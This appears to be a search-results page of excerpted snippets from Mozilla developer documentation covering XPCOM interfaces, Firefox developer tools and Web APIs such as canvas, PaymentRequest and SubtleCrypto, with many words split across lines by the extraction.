...mic libraries, and in some cases tools that may be useful in development. the idl directory contains the public idl files exported by the module. the includes directory contains c++ header files used by your component. xpcom exports a number of binaries that should be mentioned at this point. the table below refers to the windows file names for the executables. ...
...And 4 more matches
Components.utils
components.utils is a collection of various useful xpconnect features. its interface is defined at js/xpconnect/idl/xpccomponents.idl. the object currently has the following members: editors! please keep this list in sync with the components object page methods method descr
iption cloneinto() create a structured clone of an object in a different javascr
ipt context. createarrayin() removed in gecko 31 returns an array created in specified compartment. createobjectin() creates a new object, created in the scope of the specified object's compartment. dispatch() dispatches a runnable to the current/main thread. if the parameter is passed, the runnable will be dispatch in the compartment of the para...
... in specified compartment. createobjectin() creates a new object, created in the scope of the specified object's compartment. dispatch() dispatches a runnable to the current/main thread. if the parameter is passed, the runnable will be dispatch in the compartment of the parameter, which affects which error reporter gets called. evalinsandbox() runs javascr
ipt code in a sandbox, usually used to run code with restricted privileges. evalinwindow() removed in gecko 34. evaluate javascr
ipt code in a less-privileged javascr
ipt context. exportfunction() export a javascr
ipt function from a more-privileged to a less-privileged scope, allowing it to be called in the less-privileged scope. forcegc() ...
...ly give unprivileged code a reference to its own components object (whereas it's normally hidden away on a scope chain visible only to xbl methods). see also specialpowers.getcomponents. getglobalforobject() returns the global object with which a given object is associated (through its prototype chain at birth, for example). getjstestingfunctions() getobjectprinc
ipal() gets the ns
iprinc
ipal for the given javascr
ipt object. getweakreference() gets a weak reference for the object passed in. import() loads a js module into the current scr
ipt, without sharing a scope. importglobalproperties() specify a list of constructors to import into the scope. isxraywrapper() test whether a given object is an xray or n...
...And 4 more matches
jsdIStackFrame
see the version_* consts on jsdidebuggerservice. unique tag among all valid jsdicontext objects, useful as a hash key. ...
...ecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) strict mode is on. warnings reported as errors. makes eval() use the last object on its 'obj' param's scope chain as the ecma 'variables object'. private data for this object is an nsisupports object. attempting to alter this bit will result in an ns_error_illegal_value. opt_* values above, or'd together. last version set on this context. scr
ipts typically select this with the "language" attribute. see the version_* consts on jsdidebuggerservice. unique tag among all valid jsdicontext objects, useful as a hash key. private data for this context, if it is an nsisupports, |null| otherwise. retrieve the underlying context wrapped by this jsdicontext. top of the scope chain for this context. |true| if this context should be allowed to run s...
... typically select this with the "language" attribute. see the version_* consts on jsdidebuggerservice. unique tag among all valid jsdicontext objects, useful as a hash key. private data for this context, if it is an nsisupports, |null| otherwise. retrieve the underlying context wrapped by this jsdicontext. top of the scope chain for this context. |true| if this context should be allowed to run scr
ipts, |false| otherwise. this attribute is only valid for contexts which implement nsiscr
iptcontext. setting or getting this attribute on any other context will throw a ns_error_no_interface exception. stack frame objects. these are only valid inside the jsdiexecutionhook which gave it to you. after you return from that handler the bottom frame, and any frame you found attached through it, are inval...
...And 4 more matches
mozIAsyncHistory
toolkit/components/places/moziasynchistory.idlscr
iptable this interface allows you to add mult
iple visits to a single url in a batch. ...
...void getplacesinfo( in jsval aplaceidentifiers, in mozivisitinfocallback acallback ); parameters aplaceidentifiers the uri for which to deter...
...back ); parameters auri the places for which to retrieve information, identified by either a single place guid, a single uri, or a js array of uris and/or guids. acallback an object implementing the mozivisitedstatuscallback.isvisited() method; this method will be called with the results once the request has been completed. ...
...And 4 more matches
mozIStorageStatement
inherits from: mozistoragevaluearray last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) for an introduction on how to use this interface, see the storage overview document. ...
...read only. row mozistoragestatementrow the current row, with access to all data me...
...read only. ...
...And 4 more matches
nsIAccessibleRelation
read only. ...
... introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) note: be carefull, do not change constants until atk has a structure to map gecko constants into atk constants. ...
...dex); nsiarray gettargets(); attributes attribute type descr
iption relationtype unsigned long returns the type of the relation. read only. targetscount unsigned long returns the number of targets for this relation. read only. constants constant value descr
iption relation_nul 0x00 relation_controlled_by 0x01 some attribute of this object is affected by a target object. relation_controller_for 0x02 this object is interactive and controls some attribute of a target object. relation_label_for 0x03 this object is label for a target object. ...
...And 4 more matches
nsICacheSession
netwerk/cache/public/nsicachesession.idlscr
iptable handles open synchronous and asynchronous cache entry operations along with evicting cache entries and checking for cache devices instantiation according to the session storage policies. ...
...devices instantiation according to the session storage policies. inherits from: nsisupports last changed in gecko 14 (firefox 14 / thunderbird 14 / seamonkey 2.11) method overview void asyncopencacheentry(in acstring key, in nscacheaccessmode accessrequested, in nsicachelistener listener, [optional] in boolean nowait); void evictentries(); prbool isstorageenabled(); nsicacheentrydescr
iptor opencacheentry(in acstring key, in nscacheaccessmode accessrequested, in boolean blockingmode); void doomentry(in acstring key, in nsicachelistener listener); attributes attribute type descr
iption doomentriesifexpired prbool expired entries will be doomed or evicted if this attribute is set to true. if false, expired entries will be returned (useful for offline mode and clients, suc...
...ed or evicted if this attribute is set to true. if false, expired entries will be returned (useful for offline mode and clients, such as http, that can update the valid lifetime of cached content). this attribute defaults to true. methods asyncopencacheentry() this method gives an asynchronous cache access. does not block the calling thread. instead, the listener will be notified when the descr
iptor is available. void asyncopencacheentry( in acstring key, in nscacheaccessmode accessrequested, in nsicachelistener listener, [optional] in boolean nowait ); parameters key the key for cache entry. accessrequested the requested access. listener the cache listener to be notified. nowait do not wait for the cache entry when it is in use and waits for validation. doomentry() asynchronou...
...And 4 more matches
nsIChannel
inherits from: nsirequest last changed in gecko 19.0 (firefox 19.0 / thunderbird 19.0 / seamonkey 2.16) once a channel is created (via nsiioservice.newchannel()), parameters for that request may be set by using the channel attributes, or by calling queryinterface() to retrieve a subclass of nsichannel for protocol-specific parameters. then, the uri can be fetched by calling open() or asyncopen(). after a request has been completed, the channel is still valid for accessing protocol-specific results. ...
...e retrieved for the corresponding http transaction. this interface must be used only from the xpcom main thread. implemented by netwerk/base/src/nsbasechannel.cpp and netwerk/protocol/http/src/nshttpchannel.cpp. method overview void asyncopen(in nsistreamlistener alistener, in nsisupports acontext); nsiinputstream open(); attributes attribute type descr
iption contentcharset acstring the character set of the channel's content if available and if applicable. this attribute only applies to textual data. setting contentcharset before the channel has been opened provides a hint to the channel on what the charset should be. the behavior is similar to contenttype. the value of the contentcharset attribute is a mixed case stri...
...ttribute is a mixed case string. contentlength int64_t the length of the data associated with the channel if available. a value of -1 indicates that the content length is unknown. note: as of gecko 19.0, this parameter changed from long to int64_t. in earlier versions callers could get the "content-length" property as 64-bit value by queryinterfacing the channel to ns
ipropertybag2, if that interface is exposed by the channel. contenttype acstring the mime type of the channel's content if available. note: the content type can often be wrongly specified (for example wrong file extension, wrong mime type, wrong document type stored on a server and so on.), and the caller most likely wants to verify with the actual data. settin...
...And 4 more matches
nsIConsoleService
it is used to log various messages, warnings, and errors and to obtain the logged messages. ...
...ime. try to avoid using it. void getmessagearray( [array, size_is(count)] out nsiconsolemessage messages, out pruint32 count ); parameters messages an array of logged messages. count the number of messages in the array. if no messages are logged, this function will return a count of 0, but allocating a placeholder word for messages, showing as a 0-length array when called from the scr
ipt. void getmessagearray( [optional] out pruint32 count, [retval, array, size_is(count)] out nsiconsolemessage messages ); parameters count the number of messages in the array. if no messages are logged, this function will return a count of 0, but allocating a placeholder word for messages, showing as a 0-length array when called from the scr
ipt. note: see the code samples below for...
...og. logstringmessage() a convenient method for logging simple messages. void logstringmessage( in wstring message ); parameters message the string to log. registerlistener() registers a listener, to notify when an error is logged. note: to guard against stack overflows from listeners which could log messages (this could be done inadvertently through listeners implemented in javascr
ipt), we do not call any listeners when another error is already being logged. void registerlistener( in nsiconsolelistener listener ); parameters listener the nsiconsolelistener to add. reset() to clear the message buffer (for example, for privacy reasons): void reset(); parameters none. note: console listeners expect you to log an empty string message before calling reset, so they...
...And 4 more matches
nsIDOMEvent
dom/interfaces/events/nsidomevent.idlscr
iptable this interface is the primary data type for all events in the document object model. inherits from: nsisupports last changed in gecko 16.0 (firefox 16.0 / thunderbird 16.0 / seamonkey 2.13) note: as of gecko 16.0, the ns
iprivatedomevent interface was merged into this interface. everything marked as gecko 16.0 was previously available in that interface. see bug 761613. ...
...ata type for all events in the document object model. inherits from: nsisupports last changed in gecko 16.0 (firefox 16.0 / thunderbird 16.0 / seamonkey 2.13) note: as of gecko 16.0, the ns
iprivatedomevent interface was merged into this interface. everything marked as gecko 16.0 was previously available in that interface. see bug 761613. ...
...etpreventdefault(); deprecated since gecko 16.0 void initevent(in domstring eventtypearg, in boolean canbubblearg, in boolean cancelablearg); boolean isdispatchstopped(); violates the xpcom interface guidelines void preventbubble(); obsolete since gecko 24 void preventcapture(); obsolete since gecko 24 void preventdefault(); void serialize(in
ipcmessageptr amsg, in boolean aserializeinterfacetype); violates the xpcom interface guidelines void settarget(in nsidomeventtarget atarget); native code only! void settrusted(in boolean atrusted); native code only! void stopimmediatepropagation(); void stoppropagation(); attributes attribute type descr
iption bubbles boolean...
...And 4 more matches
nsIHttpChannel
netwerk/protocol/http/nsihttpchannel.idlscr
iptable this interface allows for the modification of http request parameters and the inspection of the resulting http response status and headers when they become available. inherits from: nsichannel last changed in gecko 1.3 to create an http channel, use nsiioservice with a http uri, for example: var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var ch = ios.newchannel("https://www.example.com/", null, null); method overview void getoriginalresponseheader(in acstring aheader, in nsihttpheadervisitor avisitor); acstring getrequestheader(in acstring aheader); acstring getresponseheader(in acstring header); b...
...header, in acstring avalue, in boolean amerge); void setresponseheader(in acstring header, in acstring value, in boolean merge); void visitoriginalresponseheaders(in nsihttpheadervisitor avisitor); void visitrequestheaders(in nsihttpheadervisitor avisitor); void visitresponseheaders(in nsihttpheadervisitor avisitor); constants constant descr
iption referrer_policy_no_referrer_when_downgrade default; indicates not to pass on the referrer when downgrading from https to http referrer_policy_no_referrer indicates no referrer will be sent referrer_policy_origin only send the origin of the referring uri referrer_policy_origin_when_xorigin same as the default; only send the origin of the referrin...
...this should be set to false, for example, if the application knows that the corresponding document is likely to be very large. this attribute is true by default, though other factors may p...
...And 4 more matches
nsIMessageSender
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsimessagelistenermanager message senders enable clients to send asynchronous messages to a single "other side". for example, a child-process message manager will send messages that are only delivered to its one parent-process message manager. to send messages to mult
iple "other sides", you would use nsimessagebroadcaster. ...
...this invokes listeners who registered for messagename using a nsimessagelistenermanager. see nsimessagelistener::receivemessage() for the format of the data delivered to listeners. throws ns_error_not_initialized if the sender is not initialized. ...
...le "other sides", you would use nsimessagebroadcaster. see message manager interfaces for more details on the distinction between message senders and message broadcasters. methods void sendasyncmessage([optional] in astring messagename, [optional] in jsval obj, [optional] in jsval objects, [optional] in ns
iprinc
ipal princ
ipal); sendasyncmessage() send messagename and obj to the "other side" of this message manager. this invokes listeners who registered for messagename using a nsimessagelistenermanager. see nsimessagelistener::receivemessage() for the format of the data delivered to listeners. throws ns_error_not_initialized if the sender is not initialized. for example, we will throw ns_error_...
...And 4 more matches
nsIMsgSearchSession
to create an instance, use: var searchsession = components.classes["@mozilla.org/messenger/searchsession;1"] .createinstance(components.interfaces.nsimsgsearchsession); to use the instance append search terms, set the scope, and then call search(). ...
...rib, in nsmsgsearchopvalue op, in nsimsgsearchvalue value); long countsearchscopes(); void getnthsearchscope(in long which,out nsmsgsearchscopevalue scopeid, out nsimsgfolder folder); void addscopeterm(in nsmsgsearchscopevalue scope, in nsimsgfolder folder); void adddirectoryscopeterm(in nsmsgsearchscopevalue scope); void clearscopes(); [noscr
ipt] boolean scopeusescustomheaders(in nsmsgsearchscopevalue scope, in voidptr selection, in boolean forfilters); boolean isstringattribute(in nsmsgsearchattribvalue attrib); void addallscopes(in nsmsgsearchscopevalue attrib); void search(in nsimsgwindow awindow); void interruptsearch(); void pausesearch(); void resumesearch(); [noscr
ipt...
...oolean forfilters); boolean isstringattribute(in nsmsgsearchattribvalue attrib); void addallscopes(in nsmsgsearchscopevalue attrib); void search(in nsimsgwindow awindow); void interruptsearch(); void pausesearch(); void resumesearch(); [noscr
ipt] nsmsgsearchtype setsearchparam(in nsmsgsearchtype type, in voidptr param); [noscr
ipt] void addresultelement(in nsmsgresultelement element); boolean matchhdr(in nsimsgdbhdr amsghdr, in nsimsgdatabase adatabase); void addsearchhit(in nsimsgdbhdr header, in nsimsgfolder folder); attributes attribute type descr
iption searchterms nsisupportsarray readonly: numsearchterms unsigned long readonly: runninga...
...And 4 more matches
nsISessionStore
the api operates on top-level browser.xul and navigator.xul windows; see note on windows for details. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in versions of firefox prior to 3.5, the user preference browser.sessionstore.enabled must be true for these calls to be successful. starting in firefox 3.5, this preference is no longer used. ...
...will always be false when in private browsing mode. methods deletetabvalue() deletes a value from a specified tab. void deletetabvalue( in nsidomnode atab, in astring akey ); parameters atab the tab for which to delete the value. akey the key whose value is to be deleted. exce...
...value( in nsidomnode atab, in astring akey ); parameters atab the tab on which to get the value. akey the key whose corresponding value is to be returned. return value the string value that was previously assigned to akey using nsisessionstore.settabvalue(), or an empty string if no value is set for that key. if the previously saved value was originally a complex data (ie a javascr
ipt object) it can then be deserialized using json.parse cf. nsisessionstore.settabvalue(). getwindowstate() returns the current state of one specified window in the web browser. astring getwindowstate( in nsidomwindow awindow ); parameters awindow the browser window whose state is to be returned. see #note on windows. return value a json string representing a session state that contai...
...And 4 more matches
nsIToolkitProfile
read only. name autf8string the profile's name. ...
...read only. name autf8string the profile's name. ...
...read only. name autf8string the profile's name. ...
...And 4 more matches
nsIWindowsRegKey
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) the interface represents a single key in the registry. this interface is highly win32 specific. ...
...read only. key hkey this attribute exposes the native hkey and is available to provide c++ consumers with the flexibility of making other windows registry api calls that are not exposed via this interface. it is possible to initialize this object by setting an hkey on it. in that c...
...luecount unsigned long this attribute returns the number of values under this key. read only. constants root key constants the values for these keys correspond to the values from winreg.h in the ms platform sdk. the root_key_ prefix corresponds to the hkey_ prefix in the ms platform sdk. this interface is not restricted to using only these root keys. constant value descr
iption root_key_classes_root 0x80000000 root_key_current_user 0x80000001 root_key_local_machine 0x80000002 access constants values for the mode parameter passed to the open() and create() methods. the values defined here correspond to the regsam values defined in winnt.h in the ms platform sdk, where access_ is replaced with key_. this interfa...
...And 4 more matches
Using nsIDirectoryService
this implementation will allow you to get(), set(), define(), and undefine() nsifile. getting a location: most developers need to find where a file or directory is located. with nsdirectoryservice, there are two steps involved. first, you must know what the string key (or property) is that refers to this locations. header files containing known keys are listed in the known locations section of this document. ...
...at this list is not static. components can add and remove locations at their will. second, you must acquire the implementation and call get() passing the known string key. in the example below, prop is a string that references your requested file locations. c++ nscomptr<nsifile> dir; ns_getspecialdirectory(prop, getter_addrefs(dir)); if (!dir) return ns_error_failure; javascr
ipt: var file = components.classes["@mozilla.org/file/directory_service;1"] .getservice(components.interfaces.ns
iproperties) .get("profd", components.interfaces.nsifile); (the example is taken from the code sn
ippets section of this site.) adding a location: there are currently two ways to add a file location to the directory service: directly and delayed. yo...
...;1"] .getservice(components.interfaces.ns
iproperties) .get("profd", components.interfaces.nsifile); (the example is taken from the code sn
ippets section of this site.) adding a location: there are currently two ways to add a file location to the directory service: directly and delayed. you can directly add a new nsifile with any property string using the ns
iproperties interface: components.classes["@mozilla.org/file/directory_service;1"] .getservice(components.interfaces.ns
iproperties) .set("myfilename", file); now, if your cost is too high to set all of these properties at once, you can register to be a callback that can provide an nsifile. to do this, you must get the implementation again like above. when yo...
...And 4 more matches
customDBHeaders Preference
space-delimited list in the latest code! ...
...latest code! ...
...ozilla.org/keymaster/gatekeeper/there.is.only.xul"> <scr
ipt type='application/javascr
ipt' src='chrome://superfluous/content/superfluous.js'/> <tree id="threadtree"> <treecols id="threadcols"> <splitter class="tree-splitter" /> <treecol id="colsuperfluous" persist="hidden ordinal width" currentview="unthreaded" flex="1" label="superfluous" toolt
iptext="click to sort by superfluous" /> </treecols> </tree> </overlay> you should insure that whatever id you use for the treecol you're adding matches the reference from your javascr
ipt code (i.e. gdbview.addcolumnhandler("colsuperfluous",columnhandler)). ...
...And 4 more matches
StructType
if this isn't specified, the structure is considered opaque and you can't access its contents directly. ...
...if this isn't specified, the structure is considered opaque and you can't access its contents directly. you can call the resulting type's define() method to assign it a non-opaque type later. ...
...o assign it a non-opaque type later. see opaque structures for further explanation and an example. return value a ctype object describing the newly created struct data type. exceptions thrown typeerror the name is not a string, or one or more of the fields does not have a defined size. ...
...And 4 more matches
Browser Console - Firefox Developer Tools
the browser console is like the web console, but applied to the whole browser rather than a single content tab. so it logs the same sorts of information as the web console - network requests, javascr
ipt, css, and security errors and warnings, and messages explicitly logged by javascr
ipt code. however, rather than logging this information for a single content tab, it logs information for all content tabs, for add-ons, and for the browser's own code. if you also want to use the other web developer tools in the regular web toolbox with add-on or browser code, consider using the browser toolbox. similarly, you can execute javascr
ipt expressions using the browser console. but while the web console executes code in the page window scope, the browser console executes them in the scope of the br...
...to enable it set the devtools.chrome.enabled preference to true in about:config, or set the "enable browser chrome and add-on debugging toolboxes" (firefox 40 and later) option in the developer tool settings. ...
...ons/firefoxaurora.app/contents/macos/firefox-bin -jsconsole the browser console looks like this: you can see that the browser console looks and behaves very much like the web console: most of the window is occupied by a pane that display messages. at the top, a toolbar enables you to filter the messages that appear. at the bottom, a command line interpreter enables you to evaluate javascr
ipt expressions. beginning with firefox 68, the browser console allows you to show or hide messages from the content process (i.e. the messages from scr
ipts in all the opened pages) by setting or clearing the checkbox labeled show content messages. the following image shows the browser console focused on the same page as above after clicking on the show content messages checkbox. browser consol...
...And 4 more matches
Deprecated tools - Firefox Developer Tools
ally, we will remove the panel from the codebase. you may see a warning message, as in the following image, when trying to activate a deprecated panel: in addition, if you open the panel for one of these tools, you will also see a warning message about its removal. scratchpad scratchpad is deprecated as of firefox 70 (bug 1565380), and will be removed as of firefox 72 (bug 1519103). descr
iption scratchpad provided an environment for experimenting with javascr
ipt code. you can write, run, and examine the result of code that interacts with the web page. alternatives in firefox 71+, you can write multi-line javascr
ipt code in the web console editor mode, making it similar to the scratchpad. the editor mode can be triggered clicking on the icon on the right of the console input, or...
...g it similar to the scratchpad. the editor mode can be triggered clicking on the icon on the right of the console input, or with ctrl + b (cmd + b on macos) when in editor mode, the enter key adds a new line in the input, and you can evaluate the expression using ctrl + enter (cmd + enter on macos). ...
...input isn't cleared, which makes it possible to quickly iterrate over a sn
ippet of code. the results are displayed in the console output, to the right of the input, providing immediate feedback. unlike in scratchpad, errors are properly displayed in the output with an expandable stacktrace, making it easier to debug the code you're currently writing. starting firefox 72, you can import a javascr
ipt file content in the console input with ctrl + o (cmd + o on macos), as well as saving the console input content to a file using ctrl + s (cmd + s on macos). webide and connect page webide was deprecated as of firefox 69 disabled as of firefox 70 (bug 1539451). removed as of firefox 71 (bug 1539462). ...
...And 4 more matches
CanvasRenderingContext2D - Web APIs
xt2d.shadowblur specifies the blurring effect. default: 0 canvasrenderingcontext2d.shadowcolor color of the shadow. default: fully-transparent black. canvasrenderingcontext2d.shadowoffsetx horizontal distance the shadow will be offset. default: 0. canvasrenderingcontext2d.shadowoffsety vertical distance the shadow will be offset. default: 0. paths the following methods can be used to man
ipulate paths of objects. canvasrenderingcontext2d.beginpath() starts a new path by emptying the list of sub-paths. call this method when you want to create a new path. canvasrenderingcontext2d.closepath() causes the point of the pen to move back to the start of the current sub-path. it tries to draw a straight line from the current point to the start. if the shape has already been closed or h...
...ubic bezier curve to the current path. canvasrenderingcontext2d.quadraticcurveto() adds a quadratic bezier curve to the current path. canvasrenderingcontext2d.arc() adds a circular arc to the current path. canvasrenderingcontext2d.arcto() adds an arc to the current path with the given control points and radius, connected to the previous point by a straight line. canvasrenderingcontext2d.ell
ipse() adds an ell
iptical arc to the current path. canvasrenderingcontext2d.rect() creates a path for a rectangle at position (x, y) with a size that is determined by width and height. drawing paths canvasrenderingcontext2d.fill() fills the current sub-paths with the current fill style. canvasrenderingcontext2d.stroke() strokes the current sub-paths with the current stroke style. canvasr...
...b-paths with the current fill style. canvasrenderingcontext2d.stroke() strokes the current sub-paths with the current stroke style. canvasrenderingcontext2d.drawfocusifneeded() if a given element is focused, this method draws a focus ring around the current path. canvasrenderingcontext2d.scrollpathintoview() scrolls the current path or a given path into the view. canvasrenderingcontext2d.cl
ip() creates a cl
ipping path from the current sub-paths. everything drawn after cl
ip() is called appears inside the cl
ipping path only. for an example, see cl
ipping paths in the canvas tutorial. canvasrenderingcontext2d.ispointinpath() reports whether or not the specified point is contained in the current path. canvasrenderingcontext2d.ispointinstroke() reports whether or not the specified poin...
...And 4 more matches
Basic animations - Web APIs
in this chapter we will take a look at how to do some basic animations. probably the biggest limitation is, that once a shape gets drawn, it stays that way. if we need to move it we have to redraw it and everything that was drawn before it. it takes a lot of time to redraw complex frames and the performance depends highly on the speed of the computer it's running on. ...
... that original state. draw animated shapes the step where you do the actual frame rendering. restore the canvas state if you've saved the state, restore it before drawing a new frame. controlling an animation shapes are drawn to the canvas by using the canvas methods directly or by calling custom functions. in normal circumstances, we only see these results appear on the canvas when the scr
ipt finishes executing. for instance, it isn't possible to do an animation from within a for loop. that means we need a way to execute our drawing functions over a period of time. there are two ways to control an animation like this. scheduled updates first there's the window.setinterval(), window.settimeout(), and window.requestanimationframe() functions, which can be used to call a specific fun...
...okestyle = '#325fa2'; ctx.arc(0, 0, 142, 0, math.pi * 2, true); ctx.stroke(); ctx.restore(); window.requestanimationframe(clock); } window.requestanimationframe(clock); <canvas id="canvas" width="150" height="150"></canvas> screenshotlive sample a looping panorama in this example, a panorama is scrolled left-to-right. we're using an image of yosemite national park we took from wik
ipedia, but you could use any image that's larger than the canvas. var img = new image(); // user variables - customize these to change the image being scrolled, its // direction, and the speed. img.src = 'https://mdn.mozillademos.org/files/4553/capitan_meadows,_yosemite_national_park.jpg'; var canvasxsize = 800; var canvasysize = 200; var speed = 30; // lower is faster var scale = 1.05; var y = ...
...And 4 more matches
Canvas API - Web APIs
next, the htmlcanvaselement.getcontext() method gets that element's context--the thing onto which the drawing will be rendered. ...
...next, the htmlcanvaselement.getcontext() method gets that element's context--the thing onto which the drawing will be rendered. ...
...next, the htmlcanvaselement.getcontext() method gets that element's context--the thing onto which the drawing will be rendered. the actual drawing is done using the canvasrenderingcontext2d interface. ...
...And 4 more matches
Element.classList - Web APIs
using classlist is a convenient alternative to accessing an element's list of classes as a space-delimited string via element.classname. syntax const elementclasses = elementnodereference.classlist; returns a domtokenlist representing the contents of the element's class attribute. if the class attribute is not set or empty, it returns an empty domtokenlist, i.e. a domtokenlist with the length property equal to 0. ...
... classes div.classlist.remove("foo"); div.classlist.add("anotherclass"); // <div class="anotherclass"></div> console.log(div.outerhtml); // if visible is set remove it, otherwise add it div.classlist.toggle("visible"); // add/remove visible, depending on test conditional, i less than 10 div.classlist.toggle("visible", i < 10 ); console.log(div.classlist.contains("foo")); // add or remove mult
iple classes div.classlist.add("foo", "bar", "baz"); div.classlist.remove("foo", "bar", "baz"); // add or remove mult
iple classes using spread syntax const cls = ["foo", "bar"]; div.classlist.add(...cls); div.classlist.remove(...cls); // replace class "foo" with class "bar" div.classlist.replace("foo", "bar"); versions of firefox before 26 do not implement the use of several arguments in the add...
...ed ('"+v[wsindex]+"') contains html space characters, which are not valid in tokens."); } // 2. ...
...And 4 more matches
HTMLImageElement.longDesc - Web APIs
for example, if the image is a png of a flowchart. ...
... for example, if the image is a png of a flowchart. ...
... for example, if the image is a png of a flowchart. the longdesc property could be used to provide an explanation of the flow of control represented by the chart, using only text. ...
...And 4 more matches
PaymentRequest: paymentmethodchange event - Web APIs
interface paymentmethodchangeevent event handler property onpaymentmethodchange examples let's take a look at an example. this code creates a new paymentrequest, adds a handler for the paymentmethodchange event by calling the request's addeventlistener(), then calls show() to present the payment interface to the user. ...
... onpaymentmethodchange examples let's take a look at an example. this code creates a new paymentrequest, adds a handler for the paymentmethodchange event by calling the request's addeventlistener(), then calls show() to present the payment interface to the user. ...
...examples let's take a look at an example. this code creates a new paymentrequest, adds a handler for the paymentmethodchange event by calling the request's addeventlistener(), then calls show() to present the payment interface to the user. the code assumes the existence of a method detailsforsh
ipping(), which returns a paymentdetailsupdate object containing the sh
ipping options for the ground sh
ipping method, in the form found in the paymentsh
ippingoption dictionary. ...
...And 4 more matches
PaymentRequestUpdateEvent - Web APIs
constructor paymentrequestupdateevent() secure context creates a new paymentrequestupdateevent object. ...
... constructor paymentrequestupdateevent() secure context creates a new paymentrequestupdateevent object. ...
... constructor paymentrequestupdateevent() secure context creates a new paymentrequestupdateevent object. ...
...And 4 more matches
PushManager - Web APIs
ions. this interface is accessed via the serviceworkerregistration.pushmanager property. note: this interface replaces functionality previously offered by the obsolete pushregistrationmanager interface. properties pushmanager.supportedcontentencodings returns an array of supported content codings that can be used to encrypt the payload of a push message. methods pushmanager.getsubscr
iption() retrieves an existing push subscr
iption. it returns a promise that resolves to a pushsubscr
iption object containing details of an existing subscr
iption. if no existing subscr
iption exists, this resolves to a null value. pushmanager.permissionstate() returns a promise that resolves to the permission state of the current pushmanager, which will be one of 'granted', 'denied', or 'prompt'. ...
... deprecated methods pushmanager.haspermission() returns a promise that resolves to the pushpermissionstatus of the requesting webapp, which will be one of granted, denied, or default. ...
... deprecated methods pushmanager.haspermission() returns a promise that resolves to the pushpermissionstatus of the requesting webapp, which will be one of granted, denied, or default. replaced by pushmanager.permissionstate(). ...
...And 4 more matches
RTCIceCandidate.relatedPort - Web APIs
the relatedport field's value is set when the rtcicecandidate() constructor is used. you can't specify the value of relatedport in the options object, but the address is automatically extracted from the candidate a-line, if it's formatted properly, being taken from its rel-port field. ...
...erver: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 6502 typ srflx raddr 192.168.2.77 rport 32768 generation 0 the remote port, relatedport, is the number immediately following the "rport" label on the a-line, or 32768. ...
...lx raddr 192.168.2.77 rport 32768 generation 0 the remote port, relatedport, is the number immediately following the "rport" label on the a-line, or 32768. example in this example, the candidate's type is checked, and then debugging output is presented, based on the candidate type, including the candidate's type, address (
ip and port), and related address (relatedaddress and relatedport). ...
...And 4 more matches
RTCPeerConnection.canTrickleIceCandidates - Web APIs
the read-only rtcpeerconnection property cantrickleicecandidates returns a boolean which indicates whether or not the remote peer can accept trickled ice candidates. ice trickling is the process of continuing to send candidates after the initial offer or answer has already been sent to the other peer. this property is only set after having called rtcpeerconnection.setremotedescr
iption(). ideally, your signaling protocol provides a way to detect trickling support, so that you don't need to rely on this property. a webrtc browser will always support trickle ice. if trickling isn't supported, or you aren't able to tell, you can check for a falsy value for this property and then wait until the value of icegatheringstate changes to "completed" before creating and sending the initial offer. th...
.... that way, the offer contains all of the candidates. syntax var cantrickle = rtcpeerconnection.cantrickleicecandidates; value a boolean that is true if the remote peer can accept trickled ice candidates and false if it cannot. if no remote peer has been established, this value is null. ...
...ns all of the candidates. syntax var cantrickle = rtcpeerconnection.cantrickleicecandidates; value a boolean that is true if the remote peer can accept trickled ice candidates and false if it cannot. if no remote peer has been established, this value is null. ...
...And 4 more matches
SVGMatrix - Web APIs
epresenting the a component of the matrix. svgmatrix.b a float representing the b component of the matrix. svgmatrix.c a float representing the c component of the matrix. svgmatrix.d a float representing the d component of the matrix. svgmatrix.e a float representing the e component of the matrix. svgmatrix.f a float representing the f component of the matrix. ...
...of the matrix. svgmatrix.b a float representing the b component of the matrix. svgmatrix.c a float representing the c component of the matrix. svgmatrix.d a float representing the d component of the matrix. svgmatrix.e a float representing the e component of the matrix. svgmatrix.f a float representing the f component of the matrix. methods svgmatrix.mult
iply() performs matrix mult
iplication. ...
... representing the b component of the matrix. svgmatrix.c a float representing the c component of the matrix. svgmatrix.d a float representing the d component of the matrix. svgmatrix.e a float representing the e component of the matrix. svgmatrix.f a float representing the f component of the matrix. methods svgmatrix.mult
iply() performs matrix mult
iplication. ...
...And 4 more matches
SubtleCrypto.decrypt() - Web APIs
it returns a promise which will be fulfilled with the decrypted data (also known as "plaintext"). syntax const result = crypto.subtle.decrypt(algorithm, key, data); parameters algorithm is an object specifying the algorithm to be used, and any extra parameters as required. the values given for the extra parameters must match those passed into the corresponding encrypt() call. ...
...ass an rsaoaepparams object. to use aes-ctr, pass an aesctrparams object. to use aes-cbc, pass an aescbcparams object. to use aes-gcm, pass an aesgcmparams object. key is a cryptokey containing the key to be used for decryption. if using rsa-oaep, this is the privatekey property of the cryptokeypair object. data is a buffersource containing the data to be decrypted (also known as c
iphertext). return value result is a promise that fulfills with an arraybuffer containing the plaintext. exceptions the promise is rejected when the following exceptions are encountered: invalidaccesserror raised when the requested operation is not valid for the provided key (e.g. invalid encryption algorithm, or invalid key for the specified encryption algorithm). operationerror raise...
...d when the following exceptions are encountered: invalidaccesserror raised when the requested operation is not valid for the provided key (e.g. invalid encryption algorithm, or invalid key for the specified encryption algorithm). operationerror raised when the operation failed for an operation-specific reason (e.g. ...
...And 4 more matches
WebGLRenderingContext.blendFunc() - Web APIs
the default value is gl.zero. for possible values, see below. return value none. ...
...the default value is gl.zero. for possible values, see below. return value none. ...
...or and a constant alpha value are used together as source and destination factors, a gl.invalid_enum error is thrown. constants the following constants can be used for sfactor and dfactor. the formula for the blending color can be described like this: color(rgba) = (sourcecolor * sfactor) + (destinationcolor * dfactor). the rbga values are between 0 and 1. ...
...And 4 more matches
WebGLRenderingContext.blendFuncSeparate() - Web APIs
